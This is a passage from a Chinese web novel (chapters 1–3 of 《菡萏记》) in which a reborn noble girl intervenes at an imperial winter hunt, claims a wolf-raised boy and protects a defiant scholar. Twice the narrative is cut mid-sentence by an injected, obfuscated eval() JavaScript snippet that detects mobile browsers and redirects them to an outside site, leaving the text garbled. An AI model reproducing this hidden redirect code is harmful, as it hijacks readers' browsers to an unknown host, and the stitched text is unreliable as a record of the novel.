《菡萏记》 1. 第 1 章 姜菡萏是被琵琶声吵醒的。 醒来只闻见空气里浮动着温暖甜馥的香气,是她最喜欢的玫瑰香。 没有吹在身在如同刀割的寒风,没有湿透衣裳的积雪,没有在黑暗中发绿的兽眼,没有惨叫,没有叛军的狂笑,没有沿着刀锋滴落的鲜血,更没有在地面上积出厚厚一层、脚踩在上面永远打滑的血河。 眼前是晃动的丝帐,被褥温暖柔软,她像是躺在云上,又像是沉进了梦里。 “小姐醒了?”侍女上来服侍,面带笑容,动作温柔,扶她起身。 姜菡萏怔怔地看着她。 是阿福。 四个贴身大丫环里,阿福最年长,生着一张细腻洁白的鹅蛋脸,眉目如画,像一朵开在春天里的辛夷花,一直像个大姐姐一样照顾着她,她走到哪里都离不开。 可是阿福……阿福已经死了……死在叛军刀下…… 姜菡萏猛地一把抓住阿福的手,这双手温热柔软,带着熟悉的香味:“阿福?你真的是阿福?你还活着?!……阿喜呢?阿禄阿寿呢?我……我不是在做梦吧?” “小姐睡糊涂了吧?”阿福含笑道,“是小姐说围猎走个过场便好,所以只带了我和阿喜。午睡前小姐说这香丸的香气到底不如鲜花,所以让阿喜回去折花了,估摸着也快回来了。” 正说话间,门上珠帘晃动,阿喜捧着一束玫瑰进来。院中积雪未化,那束玫瑰红得像一团火,一股明媚清甜的香气如烟霞般扩散,充满整间宫室。 “咱们家的月下徊身价是不是又涨了?”阿喜笑吟吟地给花插瓶,“一路上好几个人想悄悄问我买一朵,赵贵人最大方,都开到一百两一朵了。” 阿福便问:“你卖了没有?” “家主吩咐过的,月下徊专为小姐种的,我哪里敢卖?再说了,咱们小姐身份尊贵,小姐使的东西,是谁有点钱就能使上的吗?” 阿福笑道:“算你还有点脑子。” 花插进一只美人耸肩瓶中,姜菡萏怔怔看了良久,取过一朵,深深嗅了一口。 很久很久了,她很久没有闻过这样的香味了。 她在这久违的香气里回了魂。 现在不是永兴五年,而是永兴元年。 她十五岁。 身边所有人都在,天地晴朗,万物安然。 “今日的花开得真好,要不要给小姐簪上一朵?和小姐今日这衣裳也相配。” 阿喜低声跟阿福商量。 姜菡萏今日穿的是一身掐金洒花大红裙,上袄绣着宝蓝麒麟,肤色净白细腻,像是浸过水的羊脂玉,越明艳的颜色配着越出彩。 她在衣裳上不讲究,侍女挑什么便穿什么。但首饰就不行了,金银宝石都死沉,她一概不肯戴,今天是大日子,才勉为其难戴了一支八宝簪,还是金包银的。 时下尚奢华,旁的贵女头上都快堆出七宝楼台了。看着自家小姐一头乌鸦鸦的好头发,阿福也很惋惜,只能叹道:“你也糊涂了,你什么时候见小姐簪过花?” “簪。”姜菡萏忽然开口,“给我挑最好看的那朵,不,两朵。” 人只有在失去之后才懂得珍惜。以前她的人生除了丹药还是丹药,锦衣玉食琼楼玉宇的好处,只有在那些吃着清水泡柿皮的逃难岁月里才被反复重温。 而今,她回来了。 阿福和阿喜不敢置信地对望一眼,又惊又喜。 “是!” 她们一手梳妆打扮的本事,终于可以好好用上了! 姜菡萏看着镜中的自己。 肤白胜雪,肌肤嫩到半透明,宝石般殷红的玫瑰簪在乌发间,香气幽幽。 全天下最好的玫瑰在姜家别院,哥哥用琉璃建成一间花房,数十名花匠精心伺弄,育得佳种,热烈如火,鲜艳如血,名为“月下徊”。 可是永兴五年九月,叛军杀进京城,月下徊永远地消失在了战火之中。 而她也以皇后之身,死在她那位丧国之君的丈夫手下。 冰冷刀锋穿过胸口的刺痛仿佛还在,此时手抚上去还不住微微颤抖。 但这一回,掌心摸到不再是粘腻的鲜血,而是娇嫩的肌肤和稳定的心跳。 上天让她重生在这一天,也许,就是给她机会,阻止一切的发生。 如果没有记错,今天的冬猎出了件非常关键的大事。 忠心耿耿的南疆都护张贺死于猎场,天下动荡由此而始,百姓苦难就此拉开序幕。 * 姜菡萏赶到的时候,围猎正是热闹时候,承德帝亲自伴奏,主弹琵琶,一曲《破阵子》奏得惊雷迸裂,急管繁弦声中,猎犬狂叫,快马奔驰,人们大声呼喝。 从前冬猎,是由羽林军在山里围出场地,贵胄子弟们进山射猎。 承德帝登基之后,一嫌进山辛苦,二嫌自己不能亲眼瞧见别人射猎,不够尽兴,遂将冬猎的场地改到了西山别宫。 别宫占地极大,中间广场围出一圈,筑起围栏,将猎物们赶进栏内,贵胄们再带着猎犬与随从们下场。 这样的围猎,猎手比猎物还多,实在没有什么危险可言,但围栏旁边居然挤满了人,人人争先恐后。 姜菡萏走近才发现,今日的围猎与之前不同。 驱赶猎物的不是猎犬,而是个……人? 姜菡萏花了点时间才确定,那确实是个人。 他头发披散,看不清面目,四肢着地,劲瘦结实,隆冬季节,身上只围着一条毛皮,脖颈上拴着一条长长的锁链,看着就份量不轻,但他的动作却快过最好的猎犬,将猎物往贵胄们的马前赶。 “听说是从狼窝里捡来的,不会走路,也不会说话……” “瞧,只会爬,跟个牲畜一样。” “这是南里斗兽场的常胜将军,能咬死老虎,十两银子才能进门看一场,不便宜!” “今日不花钱便能见着,可饱了眼福。” 有一头鹿惊慌之下激出兽性,向着马匹上的三皇子风曜冲去。 风曜虽是行三,但大皇子早逝,二皇子去了外地就藩,太子年纪小,他是承德帝最心爱的皇子,被许多人寄予厚望。 栏内的围猎过于安全,护卫们也较为松懈,待反应过来拉弓拍马,那头鹿已冲到风曜跟前,枝桠般张开的鹿角直接顶上来。 场外众人失声惊呼,承德帝直立起身,扔了琵琶:“曜儿!” 就在这个时候,一团身影比护卫的箭还要快,那个充当猎犬的“人”一口咬住了鹿的脖颈,把那只鹿死死按在地上。护卫们上前也拉不开,负责牵着锁链的中年人用力扯紧锁链,鞭子一下又一下落在他身上,他却死咬着不松口,大口吞咽,鹿血沿着他的脖颈染红了他的半边身体。 “啊!” 许多贵妇贵女们瞧见这一幕,直接吓晕过去。 她们不曾挨过饿,所以不知道,人真正饿到极处会不知道饿,但会非常渴,世上没有什么比这种饥渴更难以忍受。 但姜菡萏比谁都清楚,此时的鹿血对于他来说就是天上的甘露,天神下凡也不能让他松口。 他纷乱的长发被风吹起,露出染血的面庞,和一双没有半点情绪的眼睛,空洞但锐利,这是属于野兽的眼神。 他大约只有十四五岁,其实是和她差不多,若生在寻常人家,还是个无忧无虑的少年。 “殿下恕罪!”那中年人正是斗兽场的老板,满心指望用他攀龙驸凤,此时拽不动他,只能自己向风曜磕头赔罪,“他就是个牲畜,没有脑子的,一时凶性大发,请殿下恕罪。” “罢了,虽然我亦有猎杀之法,不至于葬身鹿手,但他也算捕猎及时,也算不负其职。” 风曜身穿锦袍,金冠玉带,俊美出众,风度翩翩,不但文武双全,还斯文良善,在朝在野都甚得人心,“只猎鹿兔之属,终究不够尽兴,来人啊,放几只狼进来。” 此时少年终于被拉开,他扯下了一大口鹿肉,大口咀嚼,生咽下去。 他听不懂人话,没有什么反应,斗兽场老板却是声音颤抖:“回、回殿下,这牲畜什么都好,就是不肯猎狼。” 风曜挑眉:“是不肯,还是不敢?” “熊与狮虎都使得,就是狼不成,怎么打都不成。”老板道,“他自小是在狼窝里长大的,把狼当作爹娘了。” “还有此事?倒是奇了。”爱子脱离险境,承德帝又捡起了琵琶,“去,弄几只狼来,朕倒想瞧瞧人是怎么认狼做爹娘的。” 又嘱咐,“先让曜儿出来。” 老板哀求:“不成的,不成的……” 但是没有人听他的。就像他从前逼着人下场斗兽时,没有人会听那些斗士的求饶。 围栏里的猎物是根据下场之人的身份身手的不同而有所不同,熊与狼之类的猛兽都是给武将们加菜的。 三只狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532516|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被送进围栏,缓缓踱近,呈品字形将场内唯二的两人包围。 斗兽场的老板也瑟瑟发抖,拼命挥起鞭子,直指狼,向少年大声吼道:“去啊,去啊!” 之前捕猎时行动如风的少年匍伏在原地,任身上新冒出一道又一道鞭痕,也一动不动。 狼已逼近,老板慌忙挥鞭,大喊救命。 没有人理他。就像没有人会理会那些斗兽场中被猛兽咬去半截的斗士一样。 血、惨叫、痛苦、厮杀、死亡——人们想看的本就是这个。 他只不过是编戏的人,变成了演戏的人。 鞭子抽中一只狼,那只狼发出一声惨叫。 地上的少年忽然抬头,无声地呲了呲牙,然后一跃而起。 老板用来控制少年的锁链套到了自己的脖颈上,变成了索命链。他根本不是少年的对手,在强大的力道下两眼突出,长鞭脱手落地。 承德帝一脸兴奋:“这不比围猎有意思多了?难怪百姓都爱去看斗兽。” 本来已经准备搭弓救人的羽林卫顿时住手。 铁链勒断了老板的脖颈,老板软软倒地。少年昂起头,发出一声嚎叫。 仿佛是在呼应他,那三只狼也同样昂首发出嚎叫,最前面那只慢慢走向少年,绕在少年身边嗅了嗅,忽地,舔了舔少年的脸。 少年抱住狼,依偎在狼身上,另外两只狼也走近,三狼一人,融洽如家人。 “妙,妙,妙哉。”承德帝大赞,“众卿,你们谁有法子训一训这人,让他捕杀这三只狼?” 众臣各自谦虚一番,最后有人道:“听闻南疆有十万大山,鸟兽遍地,当地人极善驭兽,张贺张大人在南疆多年,耳闻目染,想必亦通此道,或可一试。” 张贺站了出来。 他年近五旬,生了一张板正的国字脸,沉声道:“此人既受狼群抚养长大,狼群于他便有父母之恩,如何能训练孩儿反杀父母?” 原先那人面上不大好看:“张大人这是要抗旨?” 张贺长年在外,去年才回京城,京官做得甚是生疏,闻言才知不妥,连忙行礼:“臣不敢。” 但承德帝已然不悦。 此时,一把清脆的声音响起:“训兽难,训人还不容易?陛下不必找旁人,我来试试。” 所有人向着声音的来源望去,他们看到了姜菡萏。 太\祖遗旨,大央皇后必出自姜家,姜菡萏是姜家长女,从一出生就是未来的皇后,将是这世间最尊贵的女子。 这位姜家长女很少出现在这样的热闹场合,即使出现,最多也就是露个脸,应个卯,随后便会离席。 因她身体不好,众人都不理论。 在场的很多人是第一次看清姜菡萏的模样。 她的衣裳穿得浓墨重彩,首饰却简单,乌黑光亮的黑发间,并排簪着两朵硕大饱满的名花月下徊。 任何一个人做这种打扮都容易显俗气,但她的肌肤仿佛像玉一样半透着光,脸上未施一点脂粉,一双眸子清清亮亮,被她望见的时候,好像一切世俗的欲念与烦恼都会消失。 “菡儿莫闹,你一个小姑娘,万一伤着自己,那可不是玩的。”安贵妃是承德帝最宠爱的妃子,皇后去世之后,她已经是大央后宫真正的女主人,说话自是有份量,“这事还得张大人来。” “陛下放心,娘娘放心,我一定把他训好,实在不行,我再去请教张大人便是。若还是训不好,菡萏任凭陛下和娘娘责罚。” 安贵妃有些为难,看向承德帝。 承德帝还没开口,安贵妃身边一位少女忽然站出来:“父皇,我也要驯!” 这是丽阳公主,她的生母早逝,自小养在太后身边,被宠得无法无天,最大的爱好就是跟姜菡萏抢东西。 姜菡萏有的,她要抢,没有的,她更要抢。最要抢的,当然是姜菡萏想要又还没得到的东西。 从前这种事情不知发生过多少次,有很多次姜菡萏自己都没发现,还是在阿福等人的抱怨里才反应过来。 剩下的次数里,姜菡萏虽然发现了,但很多东西对她来说都是可有可无,让给丽阳还能免去聒噪麻烦,遂都让了。 不过这一次姜菡萏不准备再惯着丽阳。 她垂下眼睛,声音低了一些,楚楚可怜:“陛下,娘娘,菡萏从未向你们求过什么,今日,菡萏只求此人,求陛下与娘娘成全。” 2. 第 2 章 上一世,姜菡萏并没有去猎场,只在晚宴时听说了张贺的死讯。 有人说是被猎狗咬死的,有人说是被人咬死的,听上去前言不搭后语,姜菡萏对这些事从不在意,自然也没有深究,听完就过了。 是到了五年后叛军入城、天下大乱之后,她才意识到这一天发生了什么。 张贺善战,镇守南疆二十年,让迦南人乖乖称臣,堪称是南疆屏障。 他死后第二年,迦南便不再纳贡,朝廷派使臣谴责,迦南王斩杀来使,反了大央,大央发兵征讨。 如果不是这场战事,人们还沉浸在大央繁荣无限、是天下之主的美梦里。 小小的迦南扯下了大央盛世的假面,露出底下的千疮百孔,央军一退再退,兵饷难以为继,各地刺史从此拥兵自重,不再听从朝廷号令。 张贺的死,是大央衰败的开端。 “陛下,娘娘,”姜菡萏的兄长姜祯起身行礼,“陛下和娘娘不是常常担忧妹妹体弱,让我多带她出门舒散筋骨吗?难得妹妹有意调教此人,姜家愿尽倾族之力相助,定教陛下与娘娘放心。” 上一代家主早逝,十八岁的嫡长子姜祯已经是姜家当代家主。姜家作为足以与皇族分庭抗礼的世家,富可敌国,权倾天下,姜家的倾族之力,庞大到可怕。 没有人能拒绝姜家家主的担保,连皇帝也不例外,承德帝终是点了头:“那便交给菡萏了,就以三个月为期,若是成了,朕重重有赏。” 丽阳一跺脚,冲风曜:“皇兄!” 姜菡萏有哥哥,她也有哥哥! 风曜嘴角带了点无奈的笑意,摇了摇头:“丽阳莫闹,你是姐姐,让着些菡萏。” 又道,“菡萏,此子野性难驯,我宫里有几个驯兽的好手,我让他们去帮你。” 丽阳闻言更恼了,恨恨瞪着姜菡萏,眼睛里像是能冒火。 可惜,就算她眼睛里真能冒出火,也烧不到姜菡萏身上,姜菡萏先谢恩,然后谢过风曜:“多谢三哥哥好意,我想自己先驯驯试试。” 风曜目光落在姜菡萏身上,分外温和:“那你可要小心些。” 姜家府兵费了不少力气才抓住少年,这还得多亏那条铁链,让少年多了一个弱点。 少年昂首发出狼嚎,拼命向那几头狼的方向冲,颈间鲜血直流,全身都被染红了。 承德帝看着眼睛发光:“有趣,有趣。” 姜菡萏:“有没有迷药?”这少年也是绝世犟种,她怀疑他能直接把自己脑袋扯下来。 姜家府兵可以说是京城最精锐的力量,是人类在战斗中所有智慧的凝练精华,他们训练有素,装备精兵,盾牌、长刀、弓箭、暗器、药物……无一不备。 一大蓬药粉向少年当头洒去,少年猛烈反击,却因此吸入更多,很快便身体发软。 府兵们这才将他带走。 姜菡萏缓缓松了一口气。 上一世张贺身死,自然是被逼不过,只得下场,激怒了那少年,死于少年之手。 现在少年被弄走,张贺应该是保住了。 围猎继续,因场内有狼,这回便是武将们下场。 少年尚未彻底昏迷,漆黑的眸子里映出他看见的最后景象——那些穿着铠甲骑着马的人类,举起弓箭和长矛,对准三只狼。 它们无法逃跑,挤在一起,仰起头,发出最后的长嚎。 * 场内围猎持续,贵女们悄悄在扇子后面偷看风曜在场上奔腾如雷的英姿。 姜菡萏举目四顾。 丽阳似乎无时不刻不在盯着她,问道:“你在找什么?” “新科状元顾晚章你认识吗?是哪个?” 丽阳愣了一下,面色忽然红了红,转即又开始发白:“你你你要干什么?你你你别忘了,你是要嫁进风家当皇后的!” 姜菡萏:“公主的脑子似乎不好,有没有传太医看看?” 平时是谁老跟她针锋相对,不想她嫁进风家的? 丽阳跳脚,伸手就想打人,两人身边都围绕着妈妈侍女宫女与太监,自然早早将两位小祖宗隔开,丽阳犹涨红了脸:“姜菡萏,不许你打顾晚章的主意!” “小姐想找顾状元?”阿福指了个方向,凑近小小声,“喏,那个穿青绿官袍,帽子上簪着一朵白梅的就是。” 姜菡萏的视线顺着阿福的指尖望过去,在重重人群里发现了大央有史以来最年轻的状元郎。 他很高,也很瘦,脸色是苍白的,完全符合时下“薄削羸形,不胜绮罗”的审美,整个人像被笼罩在七品翰林的青绿色官袍下的一捧雪。 唇很薄,嘴角微微朝下,看上去就很冷峻很高傲,世间万物仿佛都入不了他的眼。 那朵白梅是一位同僚为他簪的,他没躲过,被强行簪上,然后同僚还未走远,他抬手就摘下来扔了。 一看就是个很不好相处的人——没什么和他人相处经验的姜菡萏这样下结论。 阿喜凑热闹:“据说放榜那日,三皇子派出了羽林卫才护住他,不然早被榜下等着捉婿的人捉走了!小姐,你想捉他吗?” 话未说完,已经被阿福在头上敲了一指头。 阿喜自知失言,连忙捂上嘴。 姜菡萏当然不打算捉状元郎为婿。 上一世晚宴时她只喝了几口漉梨浆应景,略坐坐就回了别院,不知道席上后来发生的事。 那件事先是传遍了京城,再从京城传到西山,她才听闻。 新科状元顾晚章诗文了得,奉旨为今次冬猎作应制之诗。 承德帝满心等着欣赏状元的歌功颂德,结果诗里没有一句赞词,全是劝谏,还有暗讽。 当然了,承德帝是看不出暗讽的,这都是贴心的臣子们分析出来的。 天子大怒,顾晚章跪下,却不是请罪,而是慷慨陈词。 “道者,弃位出家,割爱中之至难,取灭后之殊胜,非帝王所宜慕也。愿陛下时开延英,接对四辅,力求人瘼,虔奉宗祧。思缪赏与滥刑,其殃必至;知胜残而去杀,得福甚多。罢去讲筵,躬勤政事。此诚为天下之福 ,万民之福!” 承德帝笃信道教,道士虞仙芝入朝不拜,皇帝反而要离座接迎,王公大臣当然要跟随一起躬身迎接。虞仙芝的父母族人俱受诰封,并且有实打实的封地采邑,并非虚封。 道士一概役税皆不用承担,还可以从官府领禄金,即便犯案,官府也不能直接上门拿来,得通过道门自己解决。 承德帝还准备出家为道,被阻止后仍不死心,在宫中设道坛讲法,甚至请道士去太学讲教。 承德帝喜好挥霍,只要心情好,赏一次乐工就要花费数万钱。乐师尉迟心琵琶弹得好,承德帝不单赏银钱奴婢宅院,还赏了他四品官职。 如此滥赏,国库空虚,且上行下效,达官贵人无一不是如此,为了满足贵人们的挥霍,百姓头上的赋税加了一层又一层,苦不堪言,每年逃去当道士的百姓有数万人之多。 数年下来,受供奉的道士越来越多,种地执徭役供奉他人的百姓却越来越少,田地荒芜,百姓失所,饿殍遍地。 这些全都是顾晚章在诗中所言,姜菡萏是到了城破之后,自己也变成流离失所之人,才懂得了顾晚章所说的这一切。 如果说大央是从内而外被蛀虫啃坏的,那么最大的那只蛀虫,就是承德帝本人。 可以想象承德帝看懂之后会有多么愤怒,顾晚章一夜连降三职,降到最后被派往惠州当收粮的小吏。 惠州本就不是产粮之地,去惠州收粮,等同于流放。 据说这还不是顾晚章的终点,承德帝冬猎的好心情一个晚上被败光,第二天早起还越想越气,要诛顾晚章九族。 是当时随行在侧的尉迟心开口求情,并为承德帝弹了一首新曲,承德帝听完龙颜大悦,遂放过了顾晚章。 所以姜菡萏吩咐阿福去找姜祯:“告诉哥哥,今夜顾晚章若是要献诗,一定要拦住他。” 这等大宴,多是男女分席,她照看不到。 一时开席,皇帝在前殿大宴朝臣,安贵妃在后殿宴请内外诸命妇与贵女们。 筵席丰盛,美酒佳肴流水介送上来,姜菡萏的筷子几乎没停过。 她以前为什么看着这些菜会没有半点胃口呢?明明每一道都香醇美厚,滋味入骨,这么好吃! 因为是冬猎,菜式多用人们打来的猎物,全是新鲜野味。姜菡萏已经很久没有这么痛快地吃过肉了,肉才这世上最好吃的东西。 丽阳一直盯着姜菡萏,越盯越震惊,最终忍无可忍地开口:“姜菡萏,你疯了吗?” 身为贵女,能这么吃东西吗?!敢这么吃东西吗?! 时人崇尚的纤弱无依之美,要有弱柳扶风的姿态才称得上是美人,纤薄身形顶着累赘衣饰,越是弱不盛衣,越是美丽绝伦。 姜菡萏一直比同龄人瘦弱,十五岁的个子跟十二三岁似的,身子单薄得像一片柳芽,任何人和她站在一起都会被比成虎背熊腰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532517|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为身份的关系,无论什么场合,丽阳都是那个离姜菡萏最近的虎和熊。 明明丽阳只大一岁,却被比得又胖又壮。 丽阳恨! 恨死了! 姜菡萏完全没空理她,埋头啃完了一整颗婴儿拳头大小的肉丸。 此菜名“芙蓉清露”。肉丸据说用了九种肉细切粗斩,加以山药、马蹄绞打上浆,缝进鸡腹,入瓦瓮文火慢炖十个时辰,炖到肉酥骨烂,鸡肉弃之不用,只取肉丸和清汤,洁白瓷盅里浇上半颗碧绿青菜,几点枸杞,汤清似水而味浓如酒,肉丸入口即化,不等尝出味道,已经顺着喉咙吞进了肚子。 好满足。 好久好久没有吃饱过了。 原来吃饱是这么幸福的事。 她理解了那些造反的百姓——他们也只是想吃饱而已。 丽阳目瞪口呆,自己都不知道自己是幸灾乐祸多些,还是羡慕多些。 就在这个时候,好几名下人悄悄进殿来找主人。 在这座殿里坐着的女眷,几乎人人都有父兄子侄在外殿与皇帝共饮,两边消息互通,前边出事了。 于是姜菡萏知道,那件事情发生了。 姜祯贴身服侍的小太监郑灵过来低声禀报:“小姐,家主大人没拦住。” “怎么就没拦住?” 顾晚章只是一个文弱书生,他姜家家主可是王爷!太监侍卫一大堆,能拦不住? “家主大人亲自动的手,故意拿酒泼了顾大人的诗稿,还假借擦干,又推倒了烛台,把诗稿烧了。” “……”这不拦挺好吗? “然后顾大人就直接上去背诗了。” 姜菡萏:“……” 永兴五年,叛军攻入京城,各处州府应命勤王者少,隔岸观火者多。 顾晚章当时只是一名催粮小吏,他转辗十数个郡县,筹备到十万石军粮,供应给勤王大军。 没有人知道他是怎么做到的。 时人称赞这才是真正的忠臣风骨,无论君父如何待我,我皆以死忠报君父。 对此,顾晚章只有一句话——“我做这一切是为大央的百姓,而不是为了大央的皇帝。” “你这样……”姜菡萏吩咐郑灵一顿。 郑灵跟在姜祯身边久了,沾了一身主子的好脾气,眨眨眼睛,眸子里是清澈的愚蠢,“能行吗?” 姜菡萏微微顿了一下,一个“去”字差点就冷冷出口。 可能是死过一回,也可能是现在吃得很饱,她的耐性很好。 “行不行的,试试不就知道了?” “是,是。”郑灵额头冒汗,躬身走了。 好、好像被小姐讨厌了。 姜菡萏端起漉梨浆,喝了两口。 丽阳忽然道:“姜菡萏,你撞邪了吧?” 姜菡萏一口漉梨浆险些呛着。 某种程度上,算是。 “以前的你从来不会跟下人说这么多话,也不会在席上坐这么久。”丽阳一脸狐疑,觉得姜菡萏可能被什么脏东西附了体。 “那是因为我长脑子了。”姜菡萏回答,“而公主还没有。” 丽阳立刻气成一只河豚。 姜菡萏,果然是最讨厌的。 前殿很快传来新消息。 承德帝大怒之余,要将顾晚章贬去江南做通判。 姜家家主进言:“陛下,顾大人可是状元郎,千里迢迢南下,何其辛苦。我瞧顾大人的字写得漂亮,不如到姜家别院来做个账房。不怕诸位笑话,别院的账册子是一塌糊涂,急需像顾大人这样的人才。” 承德帝哈哈大笑:“还是阿祯会凑趣,你既慧眼识英雄,朕岂能不成全?顾大人,还不快去拜见你的东家。” 顾晚章,大央开国以来最年轻的状元郎,十九岁的一甲头名,青史留名的天才少年,闻听此言,冷冷一笑:“臣要说的已经说完了,翰林苑的笔墨也伺候够了,大厦将倾,君臣缘尽,诸位,永别了!” 说完,他一头撞向旁边的柱子。 这个举动突如其来,谁也没有想到,他离柱子又近,当值的羽林卫根本拦不及。 说时迟,那时快,几名太监蜂拥而上,拦腰的拦腰,抱腿的抱腿,把顾晚章“叭唧”一下压倒在地上。 其中最胖的那一个,也就是郑灵本人,一屁股往顾晚章身上一坐。 顾晚章眼冒金星,当场昏死过去。 也不知是压晕的,还是气晕的。 3. 第 3 章 姜家别院与别宫比邻,乃是太祖爷亲自为他的姜家皇后督建,与别宫规制一般无二,春夏秋冬各有胜景,屋宇延绵,望不到边际。 姜菡萏早已吃饱喝足,懒得在席上应酬,一听见哥哥保下了顾晚章,她便乐得离席。 此时才过戌时,别宫夜宴正欢,灯火辉煌,衬得这别院十分寂静。 她出生时早产,身体一直不好,国师虞仙芝替她占星禳命,得到八字谶语——“红尘有染,六亲有故”,于是她从五岁起便住到别院,至今已经十年。 当时只道是寻常,后来才发现,那是她人生中最平静幸福的十年。 “我要去丹房。”姜菡萏吩咐,“你们散了吧,不用跟着。” 她炼丹的时候不喜欢有人打扰,侍女都领会得,只有苏妈妈不放心地叮嘱她早些回来,莫要再熬夜。 丹房在别院的东南角,长三丈,宽一丈六尺,房内最中央筑丹坛,丹坛高八寸,长宽二十六寸,分三层,称三台,下台为地,中台为人,上台为天。 丹炉就安放在丹台上,刻着日月星辰,下为丹炉,中为丹鼎,上有鼎盖,昨夜炼坏的那炉丹已经收拾出来了,丹鼎干净齐整,只等封上新泥,重新开烧。 窗前有桌,桌上还有她昨晚抄的半副丹方。 禹余粮(火煅,醋淬不计遍,以手捻得碎为度)、紫石英、赤石脂、丁头代赭石(如禹余粮炮制)各四两。以上四味,并作小块,入坩埚内,盐泥固济,侯干,用炭一十斤煅通红,火尽为度…… 只抄到这里。 这是震灵丹的丹方。 震灵丹,又名紫金丹。书上这样说治血气不足有奇效,常服镇心神,驻颜色,温脾肾,理腰膝,除尸疰蛊不经意间,辟鬼魅邪厉,久服轻身,渐入仙道。 砚池里的墨冻住了,姜菡萏点起灯,用灯火化开墨,提起笔接着往下抄: ……入地坑埋,出火毒,二宿。滴乳香、五灵脂、没药各二两;朱砂(水飞过)一两。上件前后共八味,并为细末,以糯米粉煮糊为圆,如小鸡头大,晒干出光。 半道丹方就此续上,中间看似隔了一日,其实已经隔了一生。 她在心中发出一声叹息。 回来了。真的回来了。 她几乎是迫不及待开了丹鼎,挽起袖子,开始往里面糊泥。 丹鼎如果不封泥,金属就会化在丹鼎中,形成黑色恶丹。封泥也有讲究,姜菡萏所用的泥用戎烟、卤碱、矾石、牡蛎、赤石脂、滑石、胡粉等等调配而成,名为六一泥。用此泥封,可令丹鼎内部受热均匀,不伤丹质,且能密封,提高丹鼎内部的温度。 道士们炼丹需要挑黄道吉日,沐浴焚香,在姜菡萏全无所谓,想炼就炼。 丹房沿墙一排到顶高的药柜,里面全是密集齐整的小抽屉,手指有自己的记忆,姜菡萏看也不用看,就知道朱砂放在哪里。 朱砂鲜红,成块状,放进丹鼎中密盖煅烧,很快就会变成水银。 这是她七岁时会炼的丹方。 水银不好保存,虞仙芝以坛盛之沉入水中,姜菡萏的做法是,在炼成的水银里加入硫磺,重新把它变成朱砂——就是炼着玩儿。 她刚拿起火折子准备点火,忽然听得外头有什么喧闹之声传来,还未抬头,窗子发出“砰”地一声响,紧跟着眼前一黑,她被人扑倒在地。 火折子落地,熄灭。 “呜……”那人发出低吼,是那个狼人少年,他的手扣住她的手腕,对着她的脖颈呲出锋利的牙齿,眼睛却是盯着桌上的灯。 他的眸子好像比常人要更黑一些,灯光映在里头也更亮,仿佛在眸子深处点了两团火,姜菡萏清晰地在里面看到了恐惧。 “小姐!”一柄剑锋随后而来,停在少年颈畔,“放开!再不松手,我杀了你!” 那是别院的府兵首领,校尉郭俊,他焦急道,“小姐,属下下午奉命将此人带回别院,将他安置在后廊下厢房之中,白天在屋里还好端端的没动静,可方才属下让人给他送饭,他不知怎地竟发狂而逃,跑到丹房!” 少年呜昂一声,转头看向郭俊,郭俊的身后是众府兵,一手提着刀,一手握着火把,火光耀眼。 少年脸上全是惊恐,又惊恐又狂乱,他松开了姜菡萏,想要从窗子里逃出去,却发现窗外也被人围住,火把光芒耀眼,他像是被针扎了一样往后退,才退了两步,复又站住,冲着门外的人群发出狼嚎。 从姜菡萏这个角度看过去,他的肩臂肌肉贲起,肌肤上遍布着鞭痕,新伤压着旧伤,有的红肿,有的渗血。 白天好好的,晚上有人送饭偏偏发狂? “你先让人把火把灭了。”姜菡萏坐起来,“然后让人退开。” 郭俊不敢:“小姐——” “他要是想咬我,刚才就咬了。”姜菡萏道,“刀收起来。” 郭俊不得不听令。 少年不断低吼,眼睛一眨不眨地盯着郭俊,直到郭俊退出丹房,外面火把熄灭,少年像是放下极大的畏惧,紧绷的肌肉放松了一点。 姜菡萏确定了——他怕火。 想也正常。他是在狼窝里长大的,通身习性,像野兽多过于像人。 她起身。 少年低吼一声,向她爬了一步,眼神里面有警告的意味。 “我去灭灯。” 少年歪了歪头,他听不懂。 姜菡萏指了指桌上的灯火,少年再次低低咆哮,并弓起背脊,认为她要去用那团火来对付他,随时准备把姜菡萏扑倒。 姜菡萏捡起火折子,吹了口气。 火折子亮起来。 少年“嗷呜”一声扑上来,姜菡萏一口气把火折子吹灭。少年扑到近前,那团可怕的东西已经消失,面前只剩下姜菡萏的面庞,洁白如同春夜的花瓣,带着一种甜馥的、梦一样的香气。 但就是这个人让人把他带到这里关起来的,他记得。 每一个把他关起来的人,都会用铁链锁他,用火吓他,用鞭子抽他。 少年全身肌肉紧绷,眸子漆黑,眸子里闪动着一点锋利的光芒。姜菡萏有一种空气被夺走的感觉,只觉呼吸有点困难,在少年杀气满满的眼神里,再一次吹亮了火折子。 少年脸色一变,然后姜菡萏又把火折子吹灭了。 她吹亮,又吹灭。 吹亮的时候看他一眼,吹灭的时候再看他一眼。 少年呲牙,决定咬死这个人类,然后回山里去。 这里离山里很近,他已经闻到了山林幽深的气息。 就在这个时候,姜菡萏把吹亮的火折子往他面前一送,少年下意识地、学着她刚才反复做出的动作,吹出一口气。 讨厌的可怕的火焰轻易地被消灭了。 少年愣住。 “还是很聪明的嘛。”姜菡萏微笑,再把火折子往前递了递,“再吹一口试试。” 少年听不懂话,她做出再吹气的口形。 少年呆呆地看着她的笑容,把他关起来的人类里面,没有人对他这样笑过。 人类有很多种表情,这种表情对他来说是崭新的。 